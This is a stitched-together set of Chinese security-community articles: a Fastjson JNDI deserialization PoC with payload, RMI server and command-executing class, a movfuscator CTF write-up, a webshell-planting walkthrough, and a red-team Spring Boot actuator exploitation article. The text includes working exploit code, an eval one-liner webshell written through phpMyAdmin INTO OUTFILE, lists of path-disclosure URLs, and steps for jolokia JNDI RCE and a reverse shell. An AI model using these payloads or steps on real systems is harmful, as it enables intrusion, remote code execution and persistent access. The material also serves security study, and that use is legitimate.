介绍的背景有点多，正式切入我们的正题，基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候，我也公布了Fastjson基于TemplateImpl的PoC的，但是限制还比较多，需要打开SupportNonPublic开关，这个场景是比较少见的，详细的分析见我的博客<http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
，后续ricterz也作了一篇分析：<https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up>
。 在看雪峰会上我提到了好几种PoC，下面我简单的给这些PoC做个分类：
**1，基于TemplateImpl**
**2，基于JNDI Bean Property类型**
**3，基于JNDI Field类型**
今天主讲基于JNDI Bean Property这个类型，这个类型和JNDI Field类型的区别就在于Bean
Property需要借助setter，getter方法触发，而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean
Property分类之下，其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制，当然java在JDK 6u132, 7u122,
or 8u113补了是另外一码事。 PoC具体如下：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}
由于这个PoC是基于JNDI，下面我们简单构造一下，首先是服务端的代码：
public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}
rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下，这个Exploit.class是一个factory，通过Exploit.java编译得来，在JNDI执行的过程会被初始化。如下是Exploit.java的代码：
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
服务端构造好之后，下面来看java应用执行的代码，示例如下：
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
// String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit"," +
// " "autoCommit":true}";
String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," +
" "autoCommit":true}";
JSON.parse(payload);
}
}
完整的代码已经放到<https://github.com/shengqi158/fastjson-remote-code-execute-poc>
,大家可以下载调试分析。
PoC调用栈如下
从这个调用栈就可以看出，在进入Gadget之前，首先是Java应用调用Fastjson的parseObject或者parse接口，进入JavaObjectDeserializer.deserialize方法，经过一系列判断之后发现是JavaBean，就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域，在这个过程中都是通过反射调用这些域的getter，setter或者is方法，这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的，首先是设置dataSourceName属性，这个是其父类BaseRowSet继承过来的。
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
设置autoCommit属性:
public void setAutoCommit(boolean var1) throws SQLException {
if(this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
这setAutoCommit里函数里会触发connect函数。
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}
这里面就调用 **InitialContext**
的lookup方法，而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库，所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson
1.2.24版本及以下烦请升级。
**引用：**
1, <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf>
2,
<http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/> | 社区文章 |
这道题反编译之后，除了某些jmp和call以外，都是mov......
这个很明显就是[movfuscator](https://github.com/xoreaxeaxeax/movfuscator) 来加密的
这里就用一个神器，qira 来解这道题
这个工具记录整个运行的的过程每一个内存和寄存器的变化，我们可以随便看程序运行到某条指令时，某个内存或寄存器的内容
然后做0ctf的momo那道的时候找到了一个工具[demovfuscator](https://github.com/kirschju/demovfuscator)
这个工具可以将简化movfuscator后的程序，这样就能在ida里面反编译
虽然简化了之后一样还是看不太懂，但是还是能看出一些东西的
### 1\. IDA静态查看逻辑
这里调用了memset
这里调用了strcpy
这里调用了strlen
可以看到调用了几个函数，但是除了调用以外的基本都看不太懂
### 2\. gdb动态调试
因为库函数的位置是已知的，所以我们了解程序干了什么最简单的办法就是在各个函数的plt表处下断点
其他的就不放了，可以简单变为下面的c语言代码
memset(0x85fa960,0,0x400);
strcpy(0x85fa960,0x08052044);
int len=strlen(0x85fa960);
srand(0x00c0ffee);
for(int i=0;i<len;i++)
{
int num=rand();
}
printf("guess the flag: %s",0x85fa960)
因为程序没有输入，所以很难判断主要逻辑是什么
而且我们也不知道rand出来的数字干了什么
### 3\. qira 跟踪
用qira跟踪了下
第一个rand出来的是0x16718b06
然后mov 转移到0x8052060
再从0x8052060转移到0x805206c
然后0x805206c->0x81fb090
0x81fb090->0x81fb004
然后这里就是对rand出来的东西进行操作
等价于
r=0x16718b06
r=r&0xffff
r=~r // r=0xffff-r
这里是
r=r+1
但是这样跟下去没完没了的
然后发现玄学只跟着0x8049B60这块内存的时候
会从四个字节的变为单个字节
把前四个字节记录下来，和bss段那些异或了下，发现是flag，然后就把24个字符全部dump出来，解密出来就是flag了
解密的脚本如下
b=[0x87,0x50,0x8d,0x5e,0x8d,0x53,0x48,0x4b,0x4d,0x7e,0x83,0x87,0x83,0x49,0x72,0x89,0x45,0x6e,0x8b,0x75,0x4e,0x56,0x49,0x50]
a=[0xE1, 0x3C, 0xEC, 0x39, 0xF6, 0x63, 0x30, 0x2F, 0x28, 0x1F,
0xE7, 0xE5, 0xE6, 0x2C, 0x14, 0xED, 0x20, 0x0F, 0xEF, 0x16,
0x7E, 0x32, 0x2C, 0x2D]
c=''
for i in range(24):
c+=chr(a[i]^b[i])
print(c)
得到flag是
flag{0xdeadbeefdeadc0de}
#### 总结
玄学re | 社区文章 |
# 1\. 环境说明
本篇学习总结，主要以apache中间件为主要环境进行研究学习，其他中间件情况思路基本类似，这里不做具体展开说明。
# 2\. 基本思路
## 2.1. 思路说明
找网站的安装路径，其实就是通过“配置页面”或者“配置文件”找到Document Root 指向的网站路径位置，而Document Root最常见的地方就是
phpinfo.php页面和httpd.conf配置文件中；
### 2.1.1. Phpinfo.php页面
Phpinfo()函数信息泄露漏洞，常发生一些默认的安装包（比如xampp/phpstudy/phpnow等）默认安装完成后，没有及时删除这些提供环境测试的文件，比较常见的为phpinfo.php、info.php、1.php、test.php。虽然通过phpinfo只是暴露的php环境以及变量等基本信息，但这些泄露的信息配合一些其它漏洞将有可能导致系统被渗透和提权。
除phpinfo以外，还有一些常用套件会默认包含探针页面，常见的探针页面有：l.php、p.php、tanzhen.php、tz.php和u.php等。网站探针是一个可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器IP地址、Web服务器环境监测、php等信息的文件，常作为默认首页出现在各新建网站上。然而从信息安全的角度上看，探针不建议对外部访客开放。
#### 2.1.1.1 phpinfo函数
PHP中提供了PHPInfo()函数，该函数返回 PHP 的所有信息，包括了 PHP 的编译选项及扩充配置、PHP 版本、服务器信息及环境变量、PHP
环境变量、操作系统版本信息、路径及环境变量配置、HTTP 标头、及版权宣告等信息。其函数定义如下：
语法: int phpinfo(void);
返回值: 整数
函数种类: PHP 系统功能
例如新建一个php文件，在其中输入以下内容：
`<?php phpinfo(); ?>`
#### 2.1.1.2 phpinfo信息泄露
该函数主要用于网站建设过程中测试搭建的PHP环境是否正确，很多网站在测试完毕后并没有及时删除，因此当访问这些测试页面时，会输出服务器的关键信息，这些信息的泄露将导致服务器被渗透的风险。
图2.1.1-1 phpinfo页面
### 2.1.2. Httpd.conf 配置文件
我们在说明httpd.conf配置文件之前，不得不简单的了解下Apache服务器。Apache HTTP
Server（简称Apache）是Apache软件基金会的一个开放源码的网页服务器，可以在大多数计算机操作系统中运行，由于其多平台和安全性被广泛使用，是最流行的Web服务器端软件之一，其在全世界web服务使用排名上，处在第一位。
而我们这里要说明的httpd.conf 配置文件，就是Apache中间件服务的主要配置文件。
#### 2.1.2.1 主要配置信息默认存在
/etc/httpd/conf/httpd.conf中；
#### 2.1.2.2 其默认站点目录存放在：
/var/www/html中；
而站点目录的位置，即网站物理路径的具体目录位置，就是通过DocumentRoot配置选择在httpd.conf中来配置指定的。
图2.1.2-1 httpd.conf配置文档
注：后面章节中提到的有关套件（xampp/lamp/phpstudy/phpnow/LANMP等待），其全部都是使用apache作为套件环境的中间件服务器。
## 2.2. 实践方向
路径查找方法实践，基本可以大致分为以下3个方向：
* （1） phpinfo配置页面查找
* （2） 中间件配置文件读取，如httpd.conf
* （3） 页面报错
* 页面访问报错
* sql注入报错
* 文件包含报错
# 3\. phpinfo获取网站路径
## 3.1. 套件收集
收集网站部署使用的套件信息，通过套件默认的配置页面phpinof或者探针页面获取网站的物理路径信息。
## 3.2. 爬行遍历收集
通过web扫描器，进行爬虫爬行遍历网站的所有链接，收集可能存在的phpinfo类似的页面，收集网站物理路径信息。
推荐使用web扫描器：AWVS的site crawler模块进行站点目录的爬行。
图3.2-1 AWVS crawler模块目录爬行
工具下载链接: <https://pan.baidu.com/s/1i4JDIuD> 密码: k6fk
3.3. 爆破扫描收集
使用目录爆破工具，进行目录信息的猜解爆破收集可能存在的敏感文件信息。
推荐使用工具：御剑
图3.3-1 御剑扫描器
工具下载链接: <https://pan.baidu.com/s/1eSfy5Fk> 密码: azy8
# 4\. 配置文件读取网站路径
关键字：web套件配置文件默认路径
通过常用的web容器套件，来获取默认的网站可写路径信息，如常用套件：xampp、phpnow、phpstudy等。
## 4.1. web套件默认路径与配置文件
### 4.1.1. Xampp套件
XAMPP是最流行的PHP开发环境，其是完全免费且易于安装的Apache发行版，其中包含MariaDB、PHP和Perl。由于XAMPP其设置、安装、配置出奇容易，使得其使用者也非常广泛。
#### 4.1.1.1 网站默认路径： $disk:/ xampp/htdocs
C:/xampp/htdocs 或
D:/xampp/htdocs 或
E: :/xampp/htdocs
……
其他可写入路径：
D:/xampp/phpmyadmin/
注：xampp套件phpmyadmn目录如果没删除，也可以尝试直接写入操作；
#### 4.1.1.2 Apache配置文件默认路径：
* （1）httpd.conf配置文件：$disk:/ xampp/apache/conf/httpd.conf
C:/xampp/apache/conf/httpd.conf
D:/xampp/apache/conf/httpd.conf
……
* （2）vhosts.conf虚拟主机：$disk:
/xampp/apache/conf/extra/httpd-vhosts.conf
C: /xampp/apache/conf/extra/httpd-vhosts.conf
D: /xampp/apache/conf/extra/httpd-vhosts.conf
……
猜测默认apache默认配置文件路径，读取配置文件，查找网站根目录和可写目录路径；
图4.1.2-2主配置文件httpd.conf
图4.1.2-3虚拟主机配置文件httpd-vhosts.conf
### 4.1.2. LAMPP套件
LAMPP套件与XAMPP是同一个套件，只是应用的系统平台不同，LAMPP是部署于linux平台的版本，XAMPP是部署与windows平台。
#### 4.1.2.1 网站默认路径：
/opt/lampp/htdocs
#### 4.1.2.2 Apache配置文件默认路径：
httpd.conf配置文件： /opt/lampp/etc/httpd.conf
vhosts.conf虚拟主机：/opt/lampp/etc/extra/httpd-vhosts.conf
### 4.1.3 phpstudy套件
phpStudy是一个PHP调试环境的程序集成包。
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装，无须配置即可使用，是非常方便、好用的PHP调试环境
#### 4.1.3.1 网站默认路径
$disk:/ phpstudy/www
C:/phpstudy/www 或
D:/phpstudy/www 或
E:/phpstudy/www
……
图4.1.3-1 phpstudy探针页面
#### 4.1.3.2 Apache配置文件默认路径：
httpd.conf配置文件：$disk: /phpStudy/Apache/conf/httpd.conf
vhosts.conf虚拟主机：$disk: /phpStudy/Apache/conf/extra/httpd-vhosts.conf
图4.1.1-1主配置文件httpd.conf
图4.1.2-2虚拟主机配置文件vhosts.conf
### 4.1.4. phpnow套件
phpnow套件现在使用的意见非常少，他是Win32 下绿色免费的 Apache + PHP + MySQL
环境套件包，当前最新版本也只是更新到1.5.6。
1) 网站默认路径：
phpnow套件默认网站路径依据版本不同可能不同，当前使用最新的版本是1.5.6，其默认目录：
$disk:\phpnow-1.5.6\htdocs
C:\PHPnow-1.5.6\htdocs
D:\PHPnow-1.5.6\htdocs
E:\PHPnow-1.5.6\htdocs
图4.1.4-1 phpnow探针页面
2) Apache配置文件默认路径：
httpd.conf配置文件： D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
vhosts.conf虚拟主机：D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.comf
图4.1.4-2主配置文件httpd.conf
图4.1.4-3主配置文件httpd.conf
### 4.1.5. LNMP套件
* 1) 网站默认路径：
/home/wwwroot/default --- Linux系统目录可能没有权限写入。
* 2) Apache配置文件默认路径：
httpd.conf配置文件：
vhosts.conf虚拟主机：
## 4.2. 其他Web容器
### 4.2.1. IIS6.0+win2003 配置文件
网站默认路径：
$disk:\InetPub\wwwroot
C: \InetPub\wwwroot
D: \InetPub\wwwroot
……
配置文件默认路径：C:/Windows/system32/inetsrv/metabase.xml
### 4.2.2. IIS7.0+WINDOWS 配置文件
网站默认路径：$disk:\InetPub\wwwroot
C: \Inetpub\wwwroot
D: \InetPub\wwwroot
……
配置文件默认路径：C:\Windows\System32\inetsrv\config\applicationHost.config
## 4.3. load_file()函数读取配置文件；
关键字：读取配置文件httpd.conf 或vhosts.conf！！！
## 4.3.1. 利用场景
在通过web套件已经猜解到网站的默认路径后，经常会遇到向套件默认目录写入一句话后，无法成功的情况。通过研究发现，出现此种情况的可能有两种情况。
* （1） 情况一
一句话写入成功，但是此目录并不是渗透对象的网站根目录，我们无法通过URL地址访问到“我们写入的一句话木马”；
* （2） 情况二
还有一种情况，就是对于套件默认路径，我们没有写入的权限。最常见的案例就是，我们渗透的网站服务器的系统是linux主机，而没有写入权限。
* （3）其他情况
再有一种情况就是，目标站点有相应的安全防护如杀毒软件、安全狗、或者IPS、WAF一类的应用防护，导致无法成功写入一句话。
对于这种有应用防护的原理，基本一致，都是基于特征检测的方式进行安全防护，如单一特征、多特征防护。那么绕过这些安全防护的方法就是使用变种，如对提交内容进行编码混淆或者采用非敏感的函数等，关于木马绕过技术不在文中扩展说明。
### 4.3.2. 利用条件
对于以上“情况一”与“情况二”不能写入成功问题的解决思路，需要满足以下两个条件即可完美解决。
* （1） 找到可写的网站路径
* （2） 且可写路径为渗透站点的物理路径，能够被正常的URL访问解析；
而对于要满足以上的条件，最好的办法，就是通过读取web套件中间件的配置文件信息，获取网站的真实物理路径（如：httpd.conf）。如在获知目标站点使用的xampp套件的情况，下我们可以直接利用phpmyadmin有root登录权限的条件下，直接读取默认配置文件httpd.conf，通过配置文件httpd.conf收集到网站的真实物理路径，读取方法：
select load_file('D:/xampp/apache/conf/httpd.conf');
具体各个常用套件apache配置文件的路径请查看章节4 配置文件读取网站路径。
# 5\. 错误页面爆网站路径
关键字：特定目录报错！！！
## 5.1. Phpmyadmin 暴路径
一般在获取phpmyadmin管理页面后，特定的版本访问特点的目录，可以爆出网站的物理路径。
### 5.1.1. Phpmyadmin报错路径收集
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
### 5.1.2. Phpmyadmin 爆路径实例
通过phpmyadmin的常用爆错页面的尝试，爆出网站的真实物理路径信息。
## 5.2. SQL注入点暴路径
对于存在sql注入点的页面，可以尝试“加单引号”或者“构造错误参数”进行网站路径爆错显示。
## 5.2.1. 单引号爆路径
说明：直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
### 5.2.2. 错误参数值爆路径
说明：将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
## 5.3. nginx文件类型错误解析爆路径
当我们遇到Web服务器是nginx，且存在文件类型解析漏洞时，可以在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
如：访问www.xyz.com/123.jpg/x.php
## 5.4. 其他CMS爆路径收集
### 5.4.1. DeDeCms
/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php
### 5.4.2. WordPress
/wp-admin/includes/file.php
/wp-content/themes/baiaogu-seo/footer.php
### 5.4.3. Ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
### 5.4.4. Ucenter爆路径
/ucenter/control/admin/db.php
### 5.4.5. DZbbs
/manyou/admincp.php?my_suffix=%0A%0DTOBY57
### 5.4.6. Z-blog
/admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
### 5.4.7. Php168爆路径
/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/PHPcms2008-sp4
注册用户登陆后访问
/phpcms/corpandresize/process.php?pic=../images/logo.gif
### 5.4.8. CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php
# 6\. 渗透实战
发现phpmyadmin空口令一枚，其phpmyadmin无需口令可以直接登录管理页面。
* 1) 利用思路：直接写入一句话木马拿webshell。
* 2) 利用方法：select ‘<?php @eval($_POST[123])?>’ into outfile ‘网站物理路径’；
* 3) 利用条件：
* 数据库root权限；
* 可以写入的网站物理路径；
## 6.1. 渗透过程
### 6.1.1. 确定目标web容器
我们这里想写入一句话木马到网站，从而getshell。现在已经有数据库的root管理权限，现在还缺一个“可以写入的网站物理路径”。
利用思路：通过查看数据库路存放径来收集当前网站web容器可能使用的套件。
查询数据库存放路径命令：
Select @@datadir;
通过查询接口，人品爆发的获知当前目标站点使用的web容器是xampp，由此我们猜测目标站点的网站物理路径为：“f:/xampp/htdocs/”
### 6.1.2. 尝试写入一句话
写入一句话语句：
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/xampp/htdocs/123.php';
通过sql执行结果，可以看到sql语句执行成功。
### 6.1.3. 测试一句话是否正常解析
访问目标站点下写入的一句话123.php木马，测试其是否可正常访问并被解析。
通过URL访问测试，发现一句话似乎并没有写入成功。
此时，我们再执行一次上面写入一句话木马的sql语句，观察sql语句执行反馈的结果。通过sql执行语句反馈的结果：“……123.php already
exists”，可以判读一句话写入其实是成功。
那么现在，可以判断出网站的物理路径在网站初始化配置时，被网站管理人员修改了，现在目标站点的真实物理路径并不是xampp套件的默认存放路径。
### 6.1.4. Apache配置文件读取
通过上面的测试判断，渗透目标站点的物理路径并不是xampp套件的默认路径，此时我们最直接可以获取网站真实物理路径的方式，就是读取网站中间apache的配置文件，来收集网站的物理路径信息。
因为我们已经知道渗透测试对象的web容器是xampp，我们猜测其apache配置文件的路径是：`f:/xampp/apache/conf/httpd.conf`
配置文件读取语句：
select load_file('f:/xampp/apache/conf/httpd.conf');
通过查询apache配置文件可以获知，渗透对象的真实物理路径是“f:/web/xyzcom/”
### 6.1.5. 再次写入一句话getshell
我们在读取到网站真实物理路径后，再次写入一句话到网站物理路径下，尝试getshell。
#### （1）写入一句话语句
select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/web/xyzcom/123.php';
#### （2）一句话解析测试
一句话sql语句执行成功，接下来进行php解析测试，直接访问123.php查看是否可以正常解析。
OK,这次123.php一句话解析正常。
### 6.1.6. 上中国菜刀
直接上中国菜刀，一句话密码是123，连接成功。
### 6.1.7. 其他可写入路径
其实这里测试，还发现通过phpmyadmin报错页面，爆出的物理路径同样可以写入一句话并能正常getshell，这里也做下简单记录。
#### （1）Phpmyadmin报错页面
通过路径“/phpmyadmin/themes/darkblue_orange/layout.inc.php”可以报错下图6.1.7-1的路径信息：“F:/xampp/phpmyadmin/themes/darkblue_orange/layout.inc.php”
图6.1.7-1
剩下继续写入一句话getshell，这里就不再重复。
学习参考：
<http://www.cnblogs.com/my1e3/p/5863161.html>
<http://blog.csdn.net/u011500307/article/details/17062233>
<https://security.yirendai.com/news/share/31>
<http://www.cnnetarmy.com/%E9%92%88%E5%AF%B9%E3%80%90%E7%BD%91%E7%AB%99%E6%8E%A2%E9%92%88%E3%80%91%E5%AE%89%E5%85%A8%E6%80%A7%E9%97%AE%E9%A2%98%E6%8E%A2%E7%A9%B6/> | 社区文章 |
# 红队实战攻防技术（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：风起@知道创宇404实验室 **
**
### 前言
大家好，我是风起，最近一直在做安全研究及Kunyu的开发维护，已经好久没有写红队攻防相关的文章了，那么近期将带来 “红队实战攻防技术” 系列的文章。
当前行业内组织的 “红蓝对抗演习”
在检验企业安全的同时也在磨练技术人员的技术水平，在近几年的演习中可以发现攻防双方的水准都有了极大的提升，本文将以红队的视角去阐述技术思想。与常规的渗透测试相比，红队攻防更多的是渗透思想上的差异，而我个人的理解认为
“隐蔽”、“持久化”是最重要的思想，如何做到快速、高效的拿下目标，隐蔽、持久的进一步操作，也正是核心的差异所在。熟悉我的读者，一定看过之前
“红队攻防基础建设” 相关的文章，本文也会串联之前知识点灵活的运用到实战场景下。
作为本系列的第一篇文章，将以一次公司红蓝对抗实战演练平台的渗透，引出一系列的知识点及渗透时的一些小Tips，希望能够对您有所帮助。
**本文仅做安全研究作用，切勿违法乱纪** 。
## 快速打点
拿到一个目标，我们首先要做的就是快速的对目标进行信息收集。对相关的功能点进行测试、熟悉网站的业务流程，这是非常重要的一个环节。应对不同的渗透场景，可以将这个环节仔细或简略去做。
**这里建议在打点的时候下挂代理，选择SSR的负载均衡模式，防止被封禁IP、IP定位到真实位置，尤其是企业专线，例如埃文科技、IPIP对于企业专线的定位非常准确。**
使用Kunyu快速对该站点进行信息收集，可能大家会想空间测绘去做信息收集是否会有一定的不准确性？是的，对于一些新增的资产可能未必会及时更新上去。但是通常对于一些成熟的业务站点，并不会去频繁的对站点进行变动端口服务等操作，所以在快速打点时这样的方式无疑大大提高了效率，同时也避免了主动扫描可能造成的影响。
如上图，通过 Title 不难判断出不同端口相关的业务，首先来看第一个。
Eureka 是 Netflix 开源的一款提供服务注册和发现的产品，可以与Spring
boot构建的微服务很容易的整合起来。这里我们发现该服务直接暴露在公网中可未授权访问，于是我们快速对其进行信息收集分析。
但是很遗憾，这些实例所指向的是内网地址且端口不对外开放，但是我们得到了本服务器的内网IP，并且得知是一台Aliyun IDC服务器。
**这里读者们可以留意一下，我们下面会再次迂回到这里。**
继续看一下6363端口的服务，推荐大家使用Wappalyzer对站点框架信息快速收集，下图中可以直接通过 Wappalyzer 得知目标环境，当然上面
“小绿叶” 的 ICO 图标也可以看出是SpringBoot的框架。
对于SpringBoot框架的站点，我们可以快速FUZZ下未授权端点。
这里有一个Tips，Spring Boot Actuator
1.x版本默认路由的起始路径为/，2.x版本则统一以/actuator为其实路径。通过上图不难看出目标站点是Spring Boot Actuator
1.x版本。这里造成信息泄露的原因是相关人员没有更改配置文件，忘记切换环境配置。
这里我们重点关注env、jolokia、heapdump、trace四个端点即可。
**env 获取全部环境属性**
**jolokia 获取全部环境属性**
**heapdump 返回一个GZip压缩的hprof堆转储文件**
**trace 提供基本的 HTTP 请求跟踪信息**
当我们访问未授权的/env端点的时候，Spring Actuator将会返回一些配置信息，其中不乏一些用户凭证，但是会将一些含关键字(如
password、secret)的属性用 *
替换以达到脱敏的效果，如下图。同时也会有一些未进行脱敏的属性，像本次的目标比较有趣的是它使用了二层加密，致使我们得到这些属性信息也无法进行直接利用。这个加密以
@ 分隔前面一段像是hash，后面像是base64加密，有熟悉的同学可以留言交流一下。
前面FUZZ我们得知目标开放了/jolokia端点，我们可以据此进行读取脱敏数据或GETSHELL获取权限。
通过调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的
getProperty 方法获取脱敏后的数据，得到的属性值在返回JSON的value中。如上所说，也是二层加密后的数据。
可能小伙伴会问，如果恰好没有开放/jolokia这个端点呢？确实在很多情况下，并不一定都会开放这个端点。所以此时可以关注一下/heapdump，通过下载本端点的文件可获取到服务器相关堆信息，通过对该文件进行审计也可能获取到经过脱敏处理的数据，可以使用MemoryAnalyzer或者VisualVM打开该文件，这里经过测试发现我们想获取到的属性值都经过了二层加密，所以就不进行审计了，下面贴一张图。
根据关键字匹配找相关的值就行，考验眼功的时候到了。
最后是/trace端点，可以获取到一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的
cookie、jwt token 等信息。
主要的作用还是帮助我们得到一些用户的登录cookie信息，从而登录到后台。但是值得注意的是，并不是其中记录的所有Cookie都可以使用并登录，因为有一些未经过鉴权之前的请求也会记录在里头，这时我们可以通过判断请求的资源来确认哪些是登陆后进行的。当然如果距离该请求的时间过久，Cookie失效了同样也不行。
## 漏洞利用
那么上面说到通过/jolokia端点可以进行RCE，现在我们转变战略，先拿SHELL再进行审计。
这里我们利用的是jolokia Realm JNDI RCE漏洞，基础理论知识这里不再赘述，感兴趣的同学可以看下面的文章，很详细的把Spring
Boot的各类安全问题都进行了梳理，但是我们这里的利用会有点不同寻常。
<https://github.com/LandGrey/SpringBootVulExploit>
利用条件：
* 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口
* 目标使用了 `jolokia-core` 依赖（版本要求暂未知）并且环境中存在相关 MBean
* 目标可以请求攻击者的服务器（请求可出外网）
* 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过
这里如何判断什么时候用哪一种利用方式其实很简单，访问 `/jolokia/list` 接口，查看是否存在 `type=MBeanFactory` 和
`createJNDIRealm` 关键词。其他的利用方式也是同理，去查看相匹配的关键字，如果有那么基本就是可用的。
首先我们跟着上面链接所指出的利用方式走一遍，但是出现了一个很有意思的问题： **marshalsec 接收到了目标请求，并且请求到了
JNDIObject.class，但是没有正常反弹回来shell，如下图** ：
根据经验，我首先意识到这种情况下只能是目标主机执行了命令请求到了架设的RMI服务，但是命令执行了却未成功。那么调转枪头，在Github上找另一份可以执行指定命令的EXP，进行高版本JDK的JNDI注入。
通过which
python命令发现目标主机有python2环境，可以提升至完全交互式Shell，防止意外掉线，当然这里一定要注意，像这一类的反弹shell我们一定要用反向代理之类的手段隐匿真实VPS
IP，并对Netcat进行流量加密，隐匿效果如下：
